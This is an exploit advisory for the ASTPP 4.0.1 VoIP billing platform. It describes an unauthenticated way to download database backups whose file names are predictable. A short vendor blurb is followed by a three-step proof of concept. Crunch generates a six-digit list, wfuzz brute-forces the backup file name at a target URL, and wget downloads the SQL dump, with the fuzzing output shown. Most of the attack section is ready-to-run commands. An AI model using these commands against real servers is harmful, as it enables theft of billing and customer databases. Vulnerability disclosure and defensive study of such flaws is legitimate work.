ASTPP 4.0.1 Database Disclosure

2020.01.11
Credit: Fabien Aunay
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: ASTPP 4.0.1 VoIP Billing - Database Backup Download # Date: 2019-11-18 # Exploit Author: Fabien AUNAY # Vendor Homepage: https://www.astppbilling.org/ # Software Link: https://github.com/iNextrix/ASTPP/tree/v4.0.1 # Version: 4.0.1 vendor default setup script # Tested on: Debian 9 - CentOS 7 # CVE : - ########################################################################################################### ASTPP 4.0.1 VoIP Billing Unauthenticated Predictable database backup download A Smart TelePhony Platform for Individual Business, Wholesale and Residential VoIP Service Providers! It is available as an open source solution. It means without any investment, one can start his telephony business using ASTPP. ASTPP, being one of the most powerful VoIP Billing Software, thrives to benefit its users by providing a comprehensive telephony solution. This open source solution has lifted itself up from a mere VoIP billing solution to “A Smart TelePhony Platform”. The latest version of ASTPP is provisioned with some advanced functional modules which are designed to eliminate the need of multiple solutions to run a VoIP business. It has integrated hosted IP PBX, Class 4/5 Softswitch, and complete invoicing and billing solution developed by leveraging Smart Technology. When administrator performs a ASTPP backup in web interface (Configuration / Database Restore / Create) the file name follows a semi-predictable pattern located in /var/www/html/astpp/database_backup/. The file name can be FUZZED for data exfiltration with the following pattern: astpp_20200110080136.sql.gz Pattern review: - astpp_ - year - month - day - 6 PIN digit Steps: Objective 1 : Generate your 6 PIN list Objective 2 : FUZZ the target URL Objective 3 : Download the mysqldump ########################################################################################################### Objective 1: Generate your 6 PIN list POC: crunch 6 6 0123456789 > pin_fuzzer.list Objective 2 : FUZZ the target URL POC: wfuzz --hc 302 -w pin_fuzzer.list 'http://127.0.0.1/database_backup/astpp_20200110FUZZ.sql.gz' =================================================================== ID Response Lines Word Chars Payload =================================================================== 000080137: 200 1135 L 6859 W 550239 Ch "080136" Objective 3 : Download the mysqldump POC: wget http://127.0.0.1/database_backup/astpp_20200110080136.sql.gz astpp_20200110080136.sql.gz 100%[===============================================================================>] 296,70K 1,05MB/s d


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